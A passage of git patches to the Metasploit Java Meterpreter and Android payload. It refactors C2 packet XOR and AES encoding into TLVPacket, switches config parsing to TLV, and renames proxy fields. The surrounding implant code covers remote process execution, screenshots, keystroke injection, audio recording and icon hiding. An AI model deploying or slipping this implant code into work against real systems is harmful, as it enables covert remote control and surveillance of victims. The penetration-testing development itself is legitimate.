com.metasploit.meterpreter.Meterpreter; +import com.metasploit.meterpreter.command.Command; + public class stdapi_sys_config_localtime implements Command { private static final Format formatter = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss z", Locale.ENGLISH); private static final Format tzformatter = new SimpleDateFormat("Z", Locale.ENGLISH); diff --git a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_sys_config_sysinfo.java b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_sys_config_sysinfo.java index e6eb8b352..cd3c06268 100644 --- a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_sys_config_sysinfo.java +++ b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_sys_config_sysinfo.java @@ -1,13 +1,13 @@ package com.metasploit.meterpreter.stdapi; +import java.util.Locale; + +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; import com.metasploit.meterpreter.Utils; import com.metasploit.meterpreter.command.Command; -import java.util.Locale; - public class stdapi_sys_config_sysinfo implements Command { protected String getOsName() throws Exception { diff --git a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_sys_process_close.java b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_sys_process_close.java index 603afc661..43c654875 100644 --- a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_sys_process_close.java +++ b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_sys_process_close.java @@ -1,5 +1,7 @@ package com.metasploit.meterpreter.stdapi; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.*; import com.metasploit.meterpreter.command.Command; diff --git a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_sys_process_execute.java b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_sys_process_execute.java index 5e9810cb8..096a7a76b 100644 --- a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_sys_process_execute.java +++ b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_sys_process_execute.java @@ -1,15 +1,15 @@ package com.metasploit.meterpreter.stdapi; -import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.ProcessChannel; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; -import com.metasploit.meterpreter.command.Command; - import java.io.IOException; import java.util.ArrayList; import java.util.List; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; +import com.metasploit.meterpreter.Meterpreter; +import com.metasploit.meterpreter.ProcessChannel; +import com.metasploit.meterpreter.command.Command; + public class stdapi_sys_process_execute implements Command { private static final int PROCESS_EXECUTE_FLAG_CHANNELIZED = (1 << 1); diff --git a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_sys_process_get_processes.java b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_sys_process_get_processes.java index 3f4c7e38d..d6f9378c3 100644 --- a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_sys_process_get_processes.java +++ b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_sys_process_get_processes.java @@ -6,9 +6,9 @@ import java.util.ArrayList; import java.util.List; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; import com.metasploit.meterpreter.command.Command; /** diff --git a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_sys_process_getpid_V1_5.java b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_sys_process_getpid_V1_5.java index 185142e14..f7370c6d3 100644 --- a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_sys_process_getpid_V1_5.java +++ b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_sys_process_getpid_V1_5.java @@ -1,12 +1,12 @@ package com.metasploit.meterpreter.stdapi; +import java.lang.reflect.Method; + +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; import com.metasploit.meterpreter.command.Command; -import java.lang.reflect.Method; - public class stdapi_sys_process_getpid_V1_5 extends stdapi_sys_process_getpid implements Command { protected static boolean classExists(String className) { diff --git a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_sys_process_getpid_V1_9.java b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_sys_process_getpid_V1_9.java index 592419dc6..f87501ac7 100644 --- a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_sys_process_getpid_V1_9.java +++ b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_sys_process_getpid_V1_9.java @@ -1,12 +1,12 @@ package com.metasploit.meterpreter.stdapi; +import java.lang.reflect.Method; + +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; import com.metasploit.meterpreter.command.Command; -import java.lang.reflect.Method; - public class stdapi_sys_process_getpid_V1_9 extends stdapi_sys_process_getpid_V1_5 implements Command { public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception { diff --git a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_ui_desktop_screenshot_V1_4.java b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_ui_desktop_screenshot_V1_4.java index 454965d02..3ee84356b 100644 --- a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_ui_desktop_screenshot_V1_4.java +++ b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_ui_desktop_screenshot_V1_4.java @@ -11,9 +11,9 @@ import javax.imageio.ImageWriteParam; import javax.imageio.ImageWriter; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; import com.metasploit.meterpreter.command.Command; public class stdapi_ui_desktop_screenshot_V1_4 extends stdapi_ui_desktop_screenshot implements Command { diff --git a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_ui_send_keyevent_V1_4.java b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_ui_send_keyevent_V1_4.java index ee54ed667..db0430b5d 100644 --- a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_ui_send_keyevent_V1_4.java +++ b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_ui_send_keyevent_V1_4.java @@ -1,15 +1,15 @@ package com.metasploit.meterpreter.stdapi; -import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; -import com.metasploit.meterpreter.command.Command; - import java.awt.Robot; import java.awt.event.KeyEvent; import java.util.HashMap; import java.util.Map; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; +import com.metasploit.meterpreter.Meterpreter; +import com.metasploit.meterpreter.command.Command; + public class stdapi_ui_send_keyevent_V1_4 extends stdapi_ui_send_keyevent implements Command { private static Map keyMapping = new HashMap() diff --git a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_ui_send_mouse_V1_4.java b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_ui_send_mouse_V1_4.java index b8d60d07b..e1535647f 100644 --- a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_ui_send_mouse_V1_4.java +++ b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_ui_send_mouse_V1_4.java @@ -1,13 +1,13 @@ package com.metasploit.meterpreter.stdapi; -import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; -import com.metasploit.meterpreter.TLVType; -import com.metasploit.meterpreter.command.Command; - import java.awt.Robot; import java.awt.event.InputEvent; +import com.metasploit.TLVPacket; +import com.metasploit.TLVType; +import com.metasploit.meterpreter.Meterpreter; +import com.metasploit.meterpreter.command.Command; + public class stdapi_ui_send_mouse_V1_4 extends stdapi_ui_send_mouse implements Command { public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception { diff --git a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_webcam_audio_record_V1_4.java b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_webcam_audio_record_V1_4.java index 7380b897b..392ce4656 100644 --- a/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_webcam_audio_record_V1_4.java +++ b/java/meterpreter/stdapi/src/main/java/com/metasploit/meterpreter/stdapi/stdapi_webcam_audio_record_V1_4.java @@ -12,8 +12,8 @@ import javax.sound.sampled.Mixer.Info; import javax.sound.sampled.TargetDataLine; +import com.metasploit.TLVPacket; import com.metasploit.meterpreter.Meterpreter; -import com.metasploit.meterpreter.TLVPacket; import com.metasploit.meterpreter.command.Command; import com.sun.media.sound.WaveFileWriter; From 20882ecc2dd31de8e5a415209eb3bc2b6f83a6d3 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Fri, 26 Sep 2025 17:07:25 -0400 Subject: [PATCH 18/24] Process the config block as a TLV packet This moves the Java Meterpreter inline with the new config block which is now a set of TLVs instead of the former static block. --- .../app/src/com/metasploit/stage/Payload.java | 1 - .../metasploit/meterpreter/HttpTransport.java | 14 +- .../metasploit/meterpreter/Meterpreter.java | 19 +- .../com/metasploit/meterpreter/Transport.java | 181 +----------------- .../core/core_negotiate_tlv_encryption.java | 4 +- .../meterpreter/core/core_transport_add.java | 2 +- .../meterpreter/core/core_transport_list.java | 4 +- .../main/java/com/metasploit/TLVPacket.java | 169 +++++++++++++++- .../src/main/java/com/metasploit/TLVType.java | 2 +- .../java/com/metasploit/stage/Config.java | 1 - .../com/metasploit/stage/ConfigParser.java | 148 +++++--------- .../com/metasploit/stage/HttpConnection.java | 18 +- .../com/metasploit/stage/TransportConfig.java | 2 +- 13 files changed, 256 insertions(+), 309 deletions(-) diff --git a/java/androidpayload/app/src/com/metasploit/stage/Payload.java b/java/androidpayload/app/src/com/metasploit/stage/Payload.java index 62752d2de..b71a0997e 100644 --- a/java/androidpayload/app/src/com/metasploit/stage/Payload.java +++ b/java/androidpayload/app/src/com/metasploit/stage/Payload.java @@ -118,7 +118,6 @@ public static void main(String[] args) { if ((config.flags & Config.FLAG_HIDE_APP_ICON) != 0) { hideAppIcon(); } - stageless_class = config.stageless_class; TransportConfig transportConfig = config.transportConfigList.get(0); String url = transportConfig.url; long currentTime = System.currentTimeMillis(); diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/HttpTransport.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/HttpTransport.java index 287c2d5e9..604871042 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/HttpTransport.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/HttpTransport.java @@ -21,7 +21,7 @@ public class HttpTransport extends Transport { private URL targetUrl = null; private URL nextUrl = null; private String userAgent; - private String proxy; + private String proxyUrl; private String proxyUser; private String proxyPass; private String customHeaders; @@ -35,7 +35,7 @@ public HttpTransport(Meterpreter met, String url) throws MalformedURLException { public HttpTransport(Meterpreter met, String url, TransportConfig transportConfig) throws MalformedURLException { this(met, url); userAgent = transportConfig.user_agent; - proxy = transportConfig.proxy; + proxyUrl = transportConfig.proxy_url; proxyUser = transportConfig.proxy_user; proxyPass = transportConfig.proxy_pass; certHash = transportConfig.cert_hash; @@ -72,12 +72,12 @@ public void setUserAgent(String userAgent) { this.userAgent = userAgent; } - public String getProxy() { - return this.proxy; + public String getProxyUrl() { + return this.proxyUrl; } - public void setProxy(String proxy) { - this.proxy = proxy; + public void setProxyUrl(String proxyUrl) { + this.proxyUrl = proxyUrl; } public String getProxyUser() { @@ -144,7 +144,7 @@ protected boolean tryConnect(Meterpreter met) throws IOException { catch (Exception ignored) { } - // we get here, thins aren't good. + // we get here, things aren't good. return false; } diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Meterpreter.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Meterpreter.java index 3f1235b84..edfc15c84 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Meterpreter.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Meterpreter.java @@ -44,8 +44,17 @@ public class Meterpreter { private byte[] sessionGUID; private long sessionExpiry; - protected void loadConfiguration(DataInputStream in, OutputStream rawOut, byte[] configuration) throws MalformedURLException { - Config config = ConfigParser.parseConfig(configuration); + protected void loadConfiguration(DataInputStream in, OutputStream rawOut, byte[] configBlock) throws MalformedURLException { + byte[] configHandle = new byte[8]; + byte[] configPacket = new byte[configBlock.length - configHandle.length]; + + System.arraycopy(configBlock, 0, configHandle, 0, configHandle.length); + System.arraycopy(configBlock, configHandle.length, configPacket, 0, configPacket.length); + + Config config = ConfigParser.parseConfig(configPacket); + if (config == null) { + return; + } this.sessionExpiry = config.session_expiry + System.currentTimeMillis(); this.uuid = config.uuid; this.sessionGUID = config.session_guid; @@ -144,9 +153,9 @@ public Meterpreter(DataInputStream in, OutputStream rawOut, boolean loadExtensio if (beginExecution) { int configLen = in.readInt(); - byte[] configBytes = new byte[configLen]; - in.readFully(configBytes); - loadConfiguration(in, rawOut, configBytes); + byte[] configBlock = new byte[configLen]; + in.readFully(configBlock); + loadConfiguration(in, rawOut, configBlock); // after the configuration block is a 32 bit integer that tells us // how many stages were wired into the payload. We need to stash this diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Transport.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Transport.java index e33d6c7a8..16740abce 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Transport.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Transport.java @@ -3,24 +3,13 @@ import com.metasploit.TLVPacket; import com.metasploit.stage.TransportConfig; -import java.io.ByteArrayInputStream; import java.io.DataInputStream; import java.io.DataOutputStream; import java.io.OutputStream; import java.io.IOException; -import java.security.SecureRandom; -import javax.crypto.spec.IvParameterSpec; -import javax.crypto.spec.SecretKeySpec; -import javax.crypto.Cipher; - public abstract class Transport { public static final long MS = 1000L; - public static final int ENC_NONE = 0; - public static final int ENC_AES256 = 1; - public static final int ENC_AES128 = 2; - - private static final SecureRandom sr = new SecureRandom(); private Transport prev; private Transport next; @@ -54,153 +43,19 @@ protected void setTimeouts(TransportConfig transportConfig) { this.retryWait = transportConfig.retry_wait; } - protected void arrayCopy(byte[] src, int srcOffset, byte[] dest, int destOffset, int count) { - if (count >= 0) { - System.arraycopy(src, srcOffset + 0, dest, destOffset + 0, count); - } - } - - protected void writeInt(byte[] dest, int offset, int value) { - dest[offset] = (byte)((value >> 24) & 0xFF); - dest[offset + 1] = (byte)((value >> 16) & 0xFF); - dest[offset + 2] = (byte)((value >> 8) & 0xFF); - dest[offset + 3] = (byte)(value & 0xFF); - } - - protected int readInt(byte[] source, int offset) { - return (0xFF & source[offset]) << 24 | - (0xFF & source[1 + offset]) << 16 | - (0xFF & source[2 + offset]) << 8 | - (0xFF & source[3 + offset]); - } - protected TLVPacket readAndDecodePacket(DataInputStream in) throws IOException { - byte[] header = new byte[32]; - in.readFully(header); - byte[] clonedHeader = header.clone(); - - byte[] xorKey = new byte[4]; - this.arrayCopy(header, 0, xorKey, 0, 4); - - // XOR the whole header first - this.xorBytes(xorKey, header); - - // extract the length - int bodyLen = this.readInt(header, 24) - 8; - - byte[] body = new byte[bodyLen]; - in.readFully(body); - - // create a complete packet and xor the whole thing. We do this becauase we can't - // be sure that the content of the body is 4-byte aligned with the xor key, so we - // do the whole lot to make sure it behaves - byte[] packet = new byte[clonedHeader.length + body.length]; - this.arrayCopy(clonedHeader, 0, packet, 0, clonedHeader.length); - this.arrayCopy(body, 0, packet, clonedHeader.length, body.length); - this.xorBytes(xorKey, packet); - - this.arrayCopy(packet, 32, body, 0, body.length); - int encFlag = this.readInt(packet, 20); - if (encFlag != ENC_NONE && this.aesKey != null) { - try - { - body = aesDecrypt(body); - } - catch(Exception e) - { - // if things go back we're basically screwed. - return null; - } - } - - ByteArrayInputStream byteStream = new ByteArrayInputStream(body, 0, body.length); - DataInputStream inputStream = new DataInputStream(byteStream); - TLVPacket tlvPacket = new TLVPacket(inputStream, body.length); - inputStream.close(); - - return tlvPacket; - } - - protected byte[] aesDecrypt(byte[] data) throws Exception { - byte[] iv = new byte[16]; - byte[] encrypted = new byte[data.length - iv.length]; - this.arrayCopy(data, 0, iv, 0, iv.length); - this.arrayCopy(data, iv.length, encrypted, 0, encrypted.length); - - IvParameterSpec ivSpec = new IvParameterSpec(iv); - SecretKeySpec keySpec = new SecretKeySpec(this.aesKey, "AES"); - Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); - synchronized(cipher) { - cipher.init(Cipher.DECRYPT_MODE, keySpec, ivSpec); - return cipher.doFinal(encrypted); - } - } - - protected byte[] aesEncrypt(byte[] data) throws Exception { - byte[] iv = new byte[16]; - sr.nextBytes(iv); - - byte[] encrypted = null; - IvParameterSpec ivSpec = new IvParameterSpec(iv); - SecretKeySpec keySpec = new SecretKeySpec(this.aesKey, "AES"); - Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); - synchronized(cipher) { - cipher.init(Cipher.ENCRYPT_MODE, keySpec, ivSpec); - encrypted = cipher.doFinal(data); - } - - data = new byte[encrypted.length + iv.length]; - this.arrayCopy(iv, 0, data, 0, iv.length); - this.arrayCopy(encrypted, 0, data, iv.length, encrypted.length); - return data; + return TLVPacket.fromEncoded(in, this.aesKey); } protected void encodePacketAndWrite(TLVPacket tlvPacket, int type, DataOutputStream out) throws IOException { - byte[] data = tlvPacket.toByteArray(); - - int encType = ENC_NONE; - if (this.aesKey != null) { - try - { - if (this.aesEnabled) { - encType = (this.aesKey.length == 32 ? ENC_AES256 : ENC_AES128); - data = aesEncrypt(data); - } - else - { - // enabled it after the response packet goes out - this.aesEnabled = true; - } - } - catch(Exception e) - { - // if things fail during encryption, should we - // just fallback to plain? Or terminate? - this.aesEnabled = false; - this.aesKey = null; - } + byte[] packet; + if (this.aesKey != null && this.aesEnabled) { + packet = tlvPacket.toEncoded(type, this.aesKey, this.meterpreter.getSessionGUID()); + } else { + this.aesEnabled = (this.aesKey != null); // enabled it after the response packet goes out + packet = tlvPacket.toEncoded(type, null, this.meterpreter.getSessionGUID()); } - byte[] packet = new byte[32 + data.length]; - randXorKey(packet, 0); - - // Include the session guid in the outgoing message - byte[] sessionGUID = this.meterpreter.getSessionGUID(); - this.arrayCopy(sessionGUID, 0, packet, 4, sessionGUID.length); - - // We don't currently support encryption - this.writeInt(packet, 20, encType); - - // Write the length/type - this.writeInt(packet, 24, data.length + 8); - this.writeInt(packet, 28, type); - - // finally write the data - this.arrayCopy(data, 0, packet, 32, data.length); - - // Xor the packet bytes - this.xorBytes(packet, packet, 4); - // send it! synchronized (out) { out.write(packet); @@ -208,28 +63,6 @@ protected void encodePacketAndWrite(TLVPacket tlvPacket, int type, DataOutputStr } } - private void randXorKey(byte[] dest, int offset) { - dest[offset] = randByte(); - dest[offset + 1] = randByte(); - dest[offset + 2] = randByte(); - dest[offset + 3] = randByte(); - } - - private byte randByte() { - // Forces a random number between 1 and 255 _inclusive_ - return (byte)(0xFF & (int)((Math.random() * 255) + 1)); - } - - private void xorBytes(byte[] xorKey, byte[] bytes) { - this.xorBytes(xorKey, bytes, 0); - } - - private void xorBytes(byte[] xorKey, byte[] bytes, int offset) { - for (int i = 0; i < bytes.length - offset; ++i) { - bytes[i + offset] ^= xorKey[i % 4]; - } - } - public void setAesEncryptionKey(byte[] aesKey) { this.aesKey = aesKey; this.aesEnabled = false; diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_negotiate_tlv_encryption.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_negotiate_tlv_encryption.java index f8bb7bb8d..8fc6cf1e3 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_negotiate_tlv_encryption.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_negotiate_tlv_encryption.java @@ -21,10 +21,10 @@ public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket respons int encType; byte[] aesKey; if (Cipher.getMaxAllowedKeyLength("AES") < 256) { - encType = Transport.ENC_AES128; + encType = TLVPacket.ENC_AES128; aesKey = new byte[16]; } else { - encType = Transport.ENC_AES256; + encType = TLVPacket.ENC_AES256; aesKey = new byte[32]; } sr.nextBytes(aesKey); diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_add.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_add.java index 2af0049c6..d18d4411b 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_add.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_add.java @@ -21,7 +21,7 @@ public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket respons // do the HTTP specific stuff here, since we know what we are h.setUserAgent(request.getStringValue(TLVType.TLV_TYPE_C2_UA, "")); - h.setProxy(request.getStringValue(TLVType.TLV_TYPE_C2_PROXY_HOST, "")); + h.setProxyUrl(request.getStringValue(TLVType.TLV_TYPE_C2_PROXY_URL, "")); h.setProxyUser(request.getStringValue(TLVType.TLV_TYPE_C2_PROXY_USER, "")); h.setProxyPass(request.getStringValue(TLVType.TLV_TYPE_C2_PROXY_PASS, "")); h.setCertHash(request.getRawValue(TLVType.TLV_TYPE_C2_CERT_HASH, null)); diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_list.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_list.java index f1b9763ed..a0cdc9f91 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_list.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_list.java @@ -31,8 +31,8 @@ public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket respons transportData.add(TLVType.TLV_TYPE_C2_UA, h.getUserAgent()); } - if (h.getProxy().length() > 0) { - transportData.add(TLVType.TLV_TYPE_C2_PROXY_HOST, h.getProxy()); + if (h.getProxyUrl().length() > 0) { + transportData.add(TLVType.TLV_TYPE_C2_PROXY_URL, h.getProxyUrl()); } if (h.getProxyUser().length() > 0) { diff --git a/java/meterpreter/shared/src/main/java/com/metasploit/TLVPacket.java b/java/meterpreter/shared/src/main/java/com/metasploit/TLVPacket.java index b3f64e348..f3a0a5943 100644 --- a/java/meterpreter/shared/src/main/java/com/metasploit/TLVPacket.java +++ b/java/meterpreter/shared/src/main/java/com/metasploit/TLVPacket.java @@ -1,10 +1,15 @@ package com.metasploit; +import javax.crypto.Cipher; +import javax.crypto.spec.IvParameterSpec; +import javax.crypto.spec.SecretKeySpec; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.DataInputStream; import java.io.DataOutputStream; import java.io.IOException; +import java.security.GeneralSecurityException; +import java.security.SecureRandom; import java.util.ArrayList; import java.util.Collections; import java.util.HashMap; @@ -19,6 +24,12 @@ */ public class TLVPacket { + public static final int ENC_NONE = 0; + public static final int ENC_AES256 = 1; + public static final int ENC_AES128 = 2; + + private static final SecureRandom secureRandom = new SecureRandom(); + // constants public static final int PACKET_TYPE_REQUEST = 0; public static final int PACKET_TYPE_RESPONSE = 1; @@ -117,10 +128,126 @@ public TLVPacket(DataInputStream in, int remaining) throws IOException { add(type, value); } if (remaining != 0) { - throw new IOException("Incomplete packets detected"); + throw new IOException("Incomplete packets detected (" + remaining + " remaining bytes)"); + } + } + + public TLVPacket(byte[] packetBytes) throws IOException { + this(new DataInputStream(new ByteArrayInputStream(packetBytes)), packetBytes.length); + } + + public static TLVPacket fromEncoded(byte[] packetBytes, byte[] aesKey) throws IOException { + return fromEncoded(new DataInputStream(new ByteArrayInputStream(packetBytes)), aesKey); + } + + public static TLVPacket fromEncoded(DataInputStream in, byte[] aesKey) throws IOException { + byte[] header = new byte[32]; + in.readFully(header); + byte[] clonedHeader = header.clone(); + + byte[] xorKey = new byte[4]; + arrayCopy(header, 0, xorKey, 0, 4); + + // XOR the whole header first + xorBytes(xorKey, header, 0); + + + // extract the length + int bodyLen = readInt(header, 24) - 8; + + byte[] body = new byte[bodyLen]; + in.readFully(body); + + // create a complete packet and xor the whole thing. We do this because we can't + // be sure that the content of the body is 4-byte aligned with the xor key, so we + // do the whole lot to make sure it behaves + byte[] packet = new byte[clonedHeader.length + body.length]; + arrayCopy(clonedHeader, 0, packet, 0, clonedHeader.length); + arrayCopy(body, 0, packet, clonedHeader.length, body.length); + xorBytes(xorKey, packet, 0); + + arrayCopy(packet, 32, body, 0, body.length); + int encFlag = readInt(packet, 20); + if (encFlag != ENC_NONE && aesKey != null) { + try + { + body = aesDecrypt(body, aesKey); + } + catch(GeneralSecurityException e) + { + // if things go back we're basically screwed. + throw new IOException("AES decryption failed: " + e.getMessage()); + } + } + + ByteArrayInputStream byteStream = new ByteArrayInputStream(body, 0, body.length); + DataInputStream inputStream = new DataInputStream(byteStream); + TLVPacket tlvPacket = new TLVPacket(inputStream, body.length); + inputStream.close(); + + return tlvPacket; + } + + private static byte[] aesDecrypt(byte[] encryptedData, byte[] aesKey) throws GeneralSecurityException { + byte[] iv = new byte[16]; + byte[] encrypted = new byte[encryptedData.length - iv.length]; + arrayCopy(encryptedData, 0, iv, 0, iv.length); + arrayCopy(encryptedData, iv.length, encrypted, 0, encrypted.length); + + IvParameterSpec ivSpec = new IvParameterSpec(iv); + SecretKeySpec keySpec = new SecretKeySpec(aesKey, "AES"); + Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); + synchronized(cipher) { + cipher.init(Cipher.DECRYPT_MODE, keySpec, ivSpec); + return cipher.doFinal(encrypted); + } + } + + private static byte[] aesEncrypt(byte[] data, byte[] aesKey) throws GeneralSecurityException { + byte[] iv = new byte[16]; + secureRandom.nextBytes(iv); + + byte[] encrypted = null; + IvParameterSpec ivSpec = new IvParameterSpec(iv); + SecretKeySpec keySpec = new SecretKeySpec(aesKey, "AES"); + Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); + synchronized(cipher) { + cipher.init(Cipher.ENCRYPT_MODE, keySpec, ivSpec); + encrypted = cipher.doFinal(data); + } + + data = new byte[encrypted.length + iv.length]; + arrayCopy(iv, 0, data, 0, iv.length); + arrayCopy(encrypted, 0, data, iv.length, encrypted.length); + return data; + } + + private static void arrayCopy(byte[] src, int srcPos, byte[] dest, int destPos, int length) { + if (length > 0) { + System.arraycopy(src, srcPos + 0, dest, destPos + 0, length); } } + private static void xorBytes(byte[] xorKey, byte[] bytes, int offset) { + for (int i = 0; i < bytes.length - offset; ++i) { + bytes[i + offset] ^= xorKey[i % 4]; + } + } + + private static int readInt(byte[] source, int offset) { + return (0xFF & source[offset]) << 24 | + (0xFF & source[1 + offset]) << 16 | + (0xFF & source[2 + offset]) << 8 | + (0xFF & source[3 + offset]); + } + + private static void writeInt(byte[] dest, int offset, int value) { + dest[offset] = (byte)((value >> 24) & 0xFF); + dest[offset + 1] = (byte)((value >> 16) & 0xFF); + dest[offset + 2] = (byte)((value >> 8) & 0xFF); + dest[offset + 3] = (byte)(value & 0xFF); + } + /** * Add a TLV value to this object. */ @@ -339,4 +466,44 @@ public byte[] toByteArray() throws IOException { write(new DataOutputStream(baos)); return baos.toByteArray(); } + + public byte[] toEncoded(int type, byte[] aesKey, byte[] sessionGUID) throws IOException { + byte[] data = this.toByteArray(); + + int encType = ENC_NONE; + if (aesKey != null) { + encType = (aesKey.length == 32 ? ENC_AES256 : ENC_AES128); + try { + data = aesEncrypt(data, aesKey); + } catch (GeneralSecurityException e) { + throw new IOException("AES encryption failed: " + e.getMessage()); + } + } + + byte[] packet = new byte[32 + data.length]; + byte[] xorKey = { + (byte)(0xFF & (int)((Math.random() * 255) + 1)), + (byte)(0xFF & (int)((Math.random() * 255) + 1)), + (byte)(0xFF & (int)((Math.random() * 255) + 1)), + (byte)(0xFF & (int)((Math.random() * 255) + 1)) + }; + arrayCopy(xorKey, 0, packet, 0, 4); + if (sessionGUID != null) { + // Include the session guid in the outgoing message + arrayCopy(sessionGUID, 0, packet, 4, sessionGUID.length); + } + + writeInt(packet, 20, encType); + + // Write the length/type + writeInt(packet, 24, data.length + 8); + writeInt(packet, 28, type); + + // finally write the data + arrayCopy(data, 0, packet, 32, data.length); + + // Xor the packet bytes + xorBytes(xorKey, 